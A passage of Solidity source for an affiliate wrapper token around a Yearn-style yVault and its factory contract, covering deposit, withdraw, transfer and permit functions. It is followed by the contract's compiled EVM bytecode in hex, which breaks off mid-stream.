return IyVault(vault).activation(); } function rewards() external view returns (address) { return IyVault(vault).rewards(); } function managementFee() external view returns (uint) { return IyVault(vault).managementFee(); } function performanceFee() external view returns (uint) { return IyVault(vault).performanceFee(); } function setGovernance(address _gov) external { require(msg.sender == governance); pendingGovernance = _gov; } function acceptGovernance() external { require(msg.sender == pendingGovernance); governance = pendingGovernance; } function currentContribution() external view returns (uint) { return 1e18 * IERC20(vault).balanceOf(address(this)) / IERC20(vault).totalSupply(); } function setAffiliate(address _affiliate) external { require(msg.sender == governance || msg.sender == affiliate); affiliate = _affiliate; } function deposit() external returns (uint) { return _deposit(IERC20(token).balanceOf(msg.sender), msg.sender); } function deposit(uint amount) external returns (uint) { return _deposit(amount, msg.sender); } function deposit(uint amount, address recipient) external returns (uint) { return _deposit(amount, recipient); } function _deposit(uint amount, address recipient) internal returns (uint) { IERC20(token).safeTransferFrom(msg.sender, address(this), amount); uint _shares = IyVault(vault).deposit(amount, address(this)); _mint(recipient, _shares); return _shares; } function withdraw() external returns (uint) { return _withdraw(balances[msg.sender], msg.sender, 1); } function withdraw(uint amount) external returns (uint) { return _withdraw(amount, msg.sender, 1); } function withdraw(uint amount, address recipient) external returns (uint) { return _withdraw(amount, recipient, 1); } function withdraw(uint amount, address recipient, uint maxLoss) external returns (uint) { return _withdraw(amount, recipient, maxLoss); } function _withdraw(uint amount, address recipient, uint maxLoss) internal returns (uint) { _burn(msg.sender, amount); return IyVault(vault).withdraw(amount, recipient, maxLoss); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param amount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "permit: signature"); require(signatory == owner, "permit: unauthorized"); require(block.timestamp <= deadline, "permit: expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != type(uint).max) { uint newAllowance = spenderAllowance - amount; allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { balances[src] -= amount; balances[dst] += amount; emit Transfer(src, dst, amount); } function _getChainId() internal view returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface IyRegistry { function latestVault(address) external view returns (address); } contract yAffiliateFactoryV2 { using SafeERC20 for IERC20; address public governance; address public pendingGovernance; IyRegistry constant public registry = IyRegistry(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c); address[] public _yAffiliateTokens; mapping(address => mapping(address => address[])) affiliateVaults; mapping(address => address[]) vaultTokens; function yAffiliateTokens() external view returns (address[] memory) { return _yAffiliateTokens; } function yvault(address token) external view returns (address) { return registry.latestVault(token); } constructor() { governance = msg.sender; } function lookupAffiliateTokens(address vault) external view returns (address[] memory) { return vaultTokens[vault]; } function lookupAffiliateVault(address vault, address affiliate) external view returns (address[] memory) { return affiliateVaults[vault][affiliate]; } function setGovernance(address _gov) external { require(msg.sender == governance); pendingGovernance = _gov; } function acceptGovernance() external { require(msg.sender == pendingGovernance); governance = pendingGovernance; } function deploy(string memory _moniker, address _affiliate, address _token) external { address _vault = registry.latestVault(_token); address _yAffiliateToken = address(new yAffiliateTokenV2(governance, _moniker, _affiliate, _token, _vault)); _yAffiliateTokens.push(_yAffiliateToken); affiliateVaults[_vault][_affiliate].push(_yAffiliateToken); vaultTokens[_vault].push(_yAffiliateToken); } }
0x60806040523480156200001157600080fd5b5060043610620000b85760003560e01c8063603dc317116200007b578063603dc317146200013f57806369d2989e14620001495780637b1039991462000160578063ab033ea9146200016a578063c97829db1462000181578063f39c38a0146200019857620000b8565b806305c7f86714620000bd5780630aff0e1114620000ec578063238efcbc14620001055780633f7ff98d146200010f5780635aa6e6751462000135575b600080fd5b620000d4620000ce3660046200077c565b620001a2565b604051620000e39190620007a2565b60405180910390f35b62000103620000fd366004620006a1565b620001cd565b005b620001036200035f565b620001266200012036600462000664565b6200039b565b604051620000e391906200084d565b620000d462000420565b620001266200042f565b620000d46200015a3660046200061f565b62000493565b620000d46200052b565b620001036200017b3660046200061f565b62000543565b62000126620001923660046200061f565b6200057d565b620000d4620005f5565b60028181548110620001b357600080fd5b6000918252602090912001546001600160a01b0316905081565b604051630e177dc760e41b815260009073e15461b18ee31b7379019dc523231c57d1cbc18c9063e177dc709062000209908590600401620007a2565b60206040518083038186803b1580156200022257600080fd5b505afa15801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d919062000645565b905060008060009054906101000a90046001600160a01b031685858585604051620002889062000604565b62000298959493929190620007b6565b604051809103906000f080158015620002b5573d6000803e3d6000fd5b506002805460018181019092557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b039384166001600160a01b0319918216811790925594831660008181526003602090815260408083209a90961682529889528481208054808601825590825289822001805488168417905590815260048852928320805492830181558352959091200180549092169093179055505050565b6001546001600160a01b031633146200037757600080fd5b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b0380831660009081526003602090815260408083209385168352928152908290208054835181840281018401909452808452606093928301828280156200041357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620003f4575b5050505050905092915050565b6000546001600160a01b031681565b606060028054806020026020016040519081016040528092919081815260200182805480156200048957602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116200046a575b5050505050905090565b604051630e177dc760e41b815260009073e15461b18ee31b7379019dc523231c57d1cbc18c9063e177dc7090620004cf908590600401620007a2565b60206040518083038186803b158015620004e857600080fd5b505afa158015620004fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000523919062000645565b90505b919050565b73e15461b18ee31b7379019dc523231c57d1cbc18c81565b6000546001600160a01b031633146200055b57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260046020908152604091829020805483518184028101840190945280845260609392830182828015620005e957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620005ca575b50505050509050919050565b6001546001600160a01b031681565b61328680620008cc83390190565b80356200052681620008b2565b60006020828403121562000631578081fd5b81356200063e81620008b2565b9392505050565b60006020828403121562000657578081fd5b81516200063e81620008b2565b6000806040838503121562000677578081fd5b82356200068481620008b2565b915060208301356200069681620008b2565b809150509250929050565b600080600060608486031215620006b6578081fd5b833567ffffffffffffffff80821115620006ce578283fd5b818601915086601f830112620006e2578283fd5b813581811115620006f757620006f76200089c565b604051601f8201601f19908116603f011681019083821181831017156200072257620007226200089c565b816040528281528960208487010111156200073b578586fd5b8260208601602083013785602084830101528097505050505050620007636020850162000612565b9150620007736040850162000612565b90509250925092565b6000602082840312156200078e578081fd5b5035919050565b6001600160a01b03169052565b6001600160a01b0391909116815260200190565b600060018060a01b0387168252602060a08184015286518060a0850152825b81811015620007f35788810183015185820160c001528201620007d5565b8181111562000805578360c083870101525b50601f01601f1916830160c0019150620008259050604083018662000795565b62000834606083018562000795565b62000843608083018462000795565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015620008905783516001600160a01b03168352928401929184019160010162000869565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114620008c857600080fd5b5056fe60e060405260006003553480156200001657600080fd5b5060405162003286380380620032868339810160408190526200003991620004be565b7f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f3560006040516200006b9190620005c8565b6040519081900390206200007e62000368565b306040516020016200009494939291906200070e565b60408051601f198184030181528282528051602090910120608052600780546001600160a01b038088166001600160a01b031992831617909255600880548a841692169190911790556001600160601b0319606086811b821660a05285901b1660c0526306fdde0360e01b835290518692918516916306fdde03916004808301926000929190829003018186803b1580156200012f57600080fd5b505afa15801562000144573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200016e919081019062000571565b60405160200162000181929190620006af565b60405160208183030381529060405260009080519060200190620001a79291906200036c565b5083826001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015620001e357600080fd5b505afa158015620001f8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405262000222919081019062000571565b604051602001620002359291906200066d565b604051602081830303815290604052600190805190602001906200025b9291906200036c565b50816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029657600080fd5b505afa158015620002ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d19190620005af565b60025560405163095ea7b360e01b81526001600160a01b0383169063095ea7b3906200030690849060001990600401620006f5565b602060405180830381600087803b1580156200032157600080fd5b505af115801562000336573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035c919062000548565b505050505050620007c4565b4690565b8280546200037a9062000771565b90600052602060002090601f0160209004810192826200039e5760008555620003e9565b82601f10620003b957805160ff1916838001178555620003e9565b82800160010185558215620003e9579182015b82811115620003e9578251825591602001919060010190620003cc565b50620003f7929150620003fb565b5090565b5b80821115620003f75760008155600101620003fc565b80516001600160a01b03811681146200042a57600080fd5b919050565b600082601f83011262000440578081fd5b81516001600160401b03808211156200045d576200045d620007ae565b604051601f8301601f19908116603f01168101908282118183101715620004885762000488620007ae565b81604052838152866020858801011115620004a1578485fd5b620004b48460208301602089016200073e565b9695505050505050565b600080600080600060a08688031215620004d6578081fd5b620004e18662000412565b60208701519095506001600160401b03811115620004fd578182fd5b6200050b888289016200042f565b9450506200051c6040870162000412565b92506200052c6060870162000412565b91506200053c6080870162000412565b90509295509295909350565b6000602082840312156200055a578081fd5b815180151581146200056a578182fd5b9392505050565b60006020828403121562000583578081fd5b81516001600160401b0381111562000599578182fd5b620005a7848285016200042f565b949350505050565b600060208284031215620005c1578081fd5b5051919050565b8154600090819060028104600180831680620005e557607f831692505b60208084108214156200060657634e487b7160e01b87526022600452602487fd5b8180156200061d57600181146200062f576200065f565b60ff198616895284890196506200065f565b6200063a8a62000732565b885b86811015620006575781548b8201529085019083016200063c565b505084890196505b509498975050505050505050565b60008351620006818184602088016200073e565b6216bcbb60e91b9083019081528351620006a38160038401602088016200073e565b01600301949350505050565b60008351620006c38184602088016200073e565b66016bcb2b0b937160cd1b9083019081528351620006e98160078401602088016200073e565b01600701949350505050565b6001600160a01b03929092168252602082015260400190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b60009081526020902090565b60005b838110156200075b57818101518382015260200162000741565b838111156200076b576000848401525b50505050565b6002810460018216806200078657607f821691505b60208210811415620007a857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160a05160601c60c05160601c61296662000920600039600081816106f6015281816108860152818161092c015281816109d101528181610a2c01528181610bdc01528181610cd501528181610d9a01528181610e5c01528181610ef701528181610f80015281816110130152818161107801528181611150015281816111f201528181611283015281816112f00152818161134b015281816113b30152818161140e01528181611469015281816114c40152818161156e015281816115eb0152818161162401528181611695015281816116ce0152818161173f015281816117c8015281816118ca0152818161192501528181611ba501528181611bde01528181611c7901528181611ce101528181611d2b01528181611da50152611f2d015260008181610d6d01528181610e2f0152818161182601528181611d050152611eeb015260008181610a8501526119ff01526129666000f3fe608060405234801561001057600080fd5b50600436106103b95760003560e01c80637ecebe00116101f4578063c3535b521161011a578063d9225258116100ad578063f39c38a01161007c578063f39c38a0146106bd578063fbfa77cf146106c5578063fc0c546a146106cd578063fc7b9c18146106d5576103b9565b8063d922525814610687578063dd62ed3e1461068f578063e63697c8146106a2578063ecf70858146106b5576103b9565b8063d2f08aba116100e9578063d2f08aba14610651578063d3406abd14610659578063d505accf14610661578063d764801314610674576103b9565b8063c3535b5214610626578063c822adda1461062e578063cea55f5714610641578063d0e30db014610649576103b9565b8063a6f7f5d611610192578063b6b55f2511610161578063b6b55f25146105e5578063bdcf36bb146105f8578063bf3759b51461060b578063c0587df514610613576103b9565b8063a6f7f5d6146105af578063a9059cbb146105b7578063ab033ea9146105ca578063b333a3aa146105dd576103b9565b806395d89b41116101ce57806395d89b411461058f57806399530b06146105975780639ec5a8941461059f578063a6d64fc0146105a7576103b9565b80637ecebe001461056c578063877887821461057f57806388a8d60214610587576103b9565b80632fea88d4116102e45780633ccfd60b116102775780635aa6e675116102465780635aa6e675146105365780636e553f651461053e57806370a082311461055157806375de290214610564576103b9565b80633ccfd60b14610509578063452a93201461051157806345e05f431461052657806346d558751461052e576103b9565b806333586b67116102b357806333586b67146104bf5780633403c2fc146104d25780633629c8de146104da57806339ebf823146104e2576103b9565b80632fea88d41461049f57806330adf81f146104a7578063313ce567146104af578063330b8b71146104b7576103b9565b80631778e29c1161035c57806323b872dd1161032b57806323b872dd1461045e57806325829410146104715780632bbb56d9146104795780632e1a7d4d1461048c576103b9565b80631778e29c1461043c57806318160ddd1461044457806320606b701461044c578063238efcbc14610454576103b9565b8063095ea7b311610398578063095ea7b314610404578063111961f814610424578063112c1f9b1461042c578063153c27c414610434576103b9565b8062f714ce146103be57806301e1d114146103e757806306fdde03146103ef575b600080fd5b6103d16103cc366004612494565b6106dd565b6040516103de91906125cd565b60405180910390f35b6103d16106f2565b6103f761078a565b6040516103de9190612628565b610417610412366004612370565b610818565b6040516103de91906125c2565b6103d1610882565b6103d16109cd565b6103d1610a28565b6103d1610a83565b6103d1610aa7565b6103d1610aad565b61045c610ad1565b005b61041761046c3660046122bb565b610b0c565b6103f7610bd8565b61045c61048736600461224b565b610c6f565b6103d161049a366004612464565b610cbd565b6103d1610cd1565b6103d1610d2c565b6103d1610d50565b61045c610d56565b6103d16104cd36600461224b565b610edd565b610417610f7c565b6103d161100f565b6104f56104f036600461224b565b61106a565b6040516103de9897969594939291906127c9565b6103d161112e565b61051961114c565b6040516103de9190612571565b6105196111df565b6105196111ee565b610519611249565b6103d161054c366004612494565b611258565b6103d161055f36600461224b565b611264565b6103d161127f565b6103d161057a36600461224b565b6112da565b6103d16112ec565b610519611347565b6103f76113a2565b6103d16113af565b61051961140a565b6103d1611465565b6103d16114c0565b6104176105c5366004612370565b61151b565b61045c6105d836600461224b565b611531565b6103f761156a565b6103d16105f3366004612464565b6115c5565b6103d161060636600461224b565b6115d1565b6103d1611620565b6103d161062136600461224b565b61167b565b6103d16116ca565b61051961063c366004612464565b611725565b6103d16117c4565b6103d161181f565b6103f76118c6565b6103d1611921565b61045c61066f3660046122fb565b61197c565b6103d161068236600461224b565b611b8b565b610519611bda565b6103d161069d366004612283565b611c35565b6103d16106b03660046124b8565b611c60565b6103d1611c75565b610519611cd0565b610519611cdf565b610519611d03565b6103d1611d27565b60006106eb83836001611d82565b9392505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166301e1d1146040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b505afa158015610761573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610785919061247c565b905090565b6000805461079790612899565b80601f01602080910402602001604051908101604052809291908181526020018280546107c390612899565b80156108105780601f106107e557610100808354040283529160200191610810565b820191906000526020600020905b8154815290600101906020018083116107f357829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108719086906125cd565b60405180910390a350600192915050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156108dd57600080fd5b505afa1580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061247c565b6040516370a0823160e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a0823190610961903090600401612571565b60206040518083038186803b15801561097957600080fd5b505afa15801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061247c565b6109c390670de0b6b3a7640000612837565b6107859190612817565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663112c1f9b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663153c27c46040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b7f000000000000000000000000000000000000000000000000000000000000000081565b60035481565b7f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f3581565b6009546001600160a01b03163314610ae857600080fd5b600954600880546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b038316600081815260046020908152604080832033808552925282205491929091908214801590610b4657506000198114155b15610bc1576000610b578583612856565b6001600160a01b03808916600081815260046020908152604080832094891680845294909152908190208490555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610bb79085906125cd565b60405180910390a3505b610bcc868686611e30565b50600195945050505050565b60607f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663258294106040518163ffffffff1660e01b815260040160006040518083038186803b158015610c3357600080fd5b505afa158015610c47573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261078591908101906123bb565b6008546001600160a01b0316331480610c9257506007546001600160a01b031633145b610c9b57600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ccb82336001611d82565b92915050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b7f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e981565b60025481565b60405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063095ea7b390610dc5907f0000000000000000000000000000000000000000000000000000000000000000906000906004016125a9565b602060405180830381600087803b158015610ddf57600080fd5b505af1158015610df3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e17919061239b565b5060405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063095ea7b390610e88907f000000000000000000000000000000000000000000000000000000000000000090600019906004016125a9565b602060405180830381600087803b158015610ea257600080fd5b505af1158015610eb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eda919061239b565b50565b6040516333586b6760e01b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906333586b6790610f2c908590600401612571565b60206040518083038186803b158015610f4457600080fd5b505afa158015610f58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccb919061247c565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633403c2fc6040518163ffffffff1660e01b815260040160206040518083038186803b158015610fd757600080fd5b505afa158015610feb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610785919061239b565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633629c8de6040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b6000806000806000806000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166339ebf8238a6040518263ffffffff1660e01b81526004016110c29190612571565b6101006040518083038186803b1580156110db57600080fd5b505afa1580156110ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111391906124de565b97509750975097509750975097509750919395975091939597565b33600081815260056020526040812054909161078591906001611d82565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a757600080fd5b505afa1580156111bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107859190612267565b6007546001600160a01b031681565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166346d558756040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a757600080fd5b6008546001600160a01b031681565b60006106eb8383611edc565b6001600160a01b031660009081526005602052604090205490565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166375de29026040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b60066020526000908152604090205481565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663877887826040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a757600080fd5b6001805461079790612899565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a757600080fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663a6f7f5d66040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b6000611528338484611e30565b50600192915050565b6008546001600160a01b0316331461154857600080fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60607f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015610c3357600080fd5b6000610ccb8233611edc565b60405163bdcf36bb60e01b81526000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063bdcf36bb90610f2c908590600401612571565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a0823190610f2c908590600401612571565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c3535b526040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b60405163641156ed60e11b81526000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063c822adda906117749085906004016125cd565b60206040518083038186803b15801561178c57600080fd5b505afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccb9190612267565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663cea55f576040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b60006107857f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166370a08231336040518263ffffffff1660e01b81526004016118709190612571565b60206040518083038186803b15801561188857600080fd5b505afa15801561189c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c0919061247c565b33611edc565b60607f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610c3357600080fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663d3406abd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b6001600160a01b038716600090815260066020526040812080547f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e9918a918a918a9190866119c9836128d4565b91905055896040516020016119e3969594939291906125d6565b60405160208183030381529060405280519060200120905060007f000000000000000000000000000000000000000000000000000000000000000082604051602001611a30929190612556565b604051602081830303815290604052805190602001209050600060018287878760405160008152602001604052604051611a6d949392919061260a565b6020604051602081039080840390855afa158015611a8f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116611acb5760405162461bcd60e51b8152600401611ac2906126e7565b60405180910390fd5b896001600160a01b0316816001600160a01b031614611afc5760405162461bcd60e51b8152600401611ac2906126b9565b86421115611b1c5760405162461bcd60e51b8152600401611ac290612690565b6001600160a01b03808b166000818152600460209081526040808320948e1680845294909152908190208b9055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611b77908c906125cd565b60405180910390a350505050505050505050565b60405163d764801360e01b81526000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063d764801390610f2c908590600401612571565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a757600080fd5b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000611c6d848484611d82565b949350505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ecf708586040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b6009546001600160a01b031681565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663fc7b9c186040518163ffffffff1660e01b815260040160206040518083038186803b15801561074d57600080fd5b6000611d8e3385611fc2565b604051631cc6d2f960e31b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063e63697c890611dde908790879087906004016127aa565b602060405180830381600087803b158015611df857600080fd5b505af1158015611e0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6d919061247c565b6001600160a01b03831660009081526005602052604081208054839290611e58908490612856565b90915550506001600160a01b03821660009081526005602052604081208054839290611e859084906127ff565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ecf91906125cd565b60405180910390a3505050565b6000611f136001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016333086612050565b604051636e553f6560e01b81526000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690636e553f6590611f649087903090600401612793565b602060405180830381600087803b158015611f7e57600080fd5b505af1158015611f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb6919061247c565b90506106eb83826120ae565b8060036000828254611fd49190612856565b90915550506001600160a01b03821660009081526005602052604081208054839290612001908490612856565b90915550506040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120449085906125cd565b60405180910390a35050565b6120a8846323b872dd60e01b85858560405160240161207193929190612585565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612130565b50505050565b80600360008282546120c091906127ff565b90915550506001600160a01b038216600090815260056020526040812080548392906120ed9084906127ff565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120449085906125cd565b612142826001600160a01b0316612214565b61215e5760405162461bcd60e51b8152600401611ac29061275c565b600080836001600160a01b031683604051612179919061253a565b6000604051808303816000865af19150503d80600081146121b6576040519150601f19603f3d011682016040523d82523d6000602084013e6121bb565b606091505b5091509150816121dd5760405162461bcd60e51b8152600401611ac29061265b565b8051156120a857808060200190518101906121f8919061239b565b6120a85760405162461bcd60e51b8152600401611ac290612712565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611c6d5750141592915050565b60006020828403121561225c578081fd5b81356106eb8161291b565b600060208284031215612278578081fd5b81516106eb8161291b565b60008060408385031215612295578081fd5b82356122a08161291b565b915060208301356122b08161291b565b809150509250929050565b6000806000606084860312156122cf578081fd5b83356122da8161291b565b925060208401356122ea8161291b565b929592945050506040919091013590565b600080600080600080600060e0888a031215612315578283fd5b87356123208161291b565b965060208801356123308161291b565b95506040880135945060608801359350608088013560ff81168114612353578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215612382578182fd5b823561238d8161291b565b946020939093013593505050565b6000602082840312156123ac578081fd5b815180151581146106eb578182fd5b6000602082840312156123cc578081fd5b815167ffffffffffffffff808211156123e3578283fd5b818401915084601f8301126123f6578283fd5b81518181111561240857612408612905565b604051601f8201601f19908116603f0116810190838211818310171561243057612430612905565b81604052828152876020848701011115612448578586fd5b61245983602083016020880161286d565b979650505050505050565b600060208284031215612475578081fd5b5035919050565b60006020828403121561248d578081fd5b5051919050565b600080604083850312156124a6578182fd5b8235915060208301356122b08161291b565b6000806000606084860312156124cc578283fd5b8335925060208401356122ea8161291b565b600080600080600080600080610100898b0312156124fa578081fd5b505086516020880151604089015160608a015160808b015160a08c015160c08d015160e0909d0151959e949d50929b919a50985090965094509092509050565b6000825161254c81846020870161286d565b9190910192915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401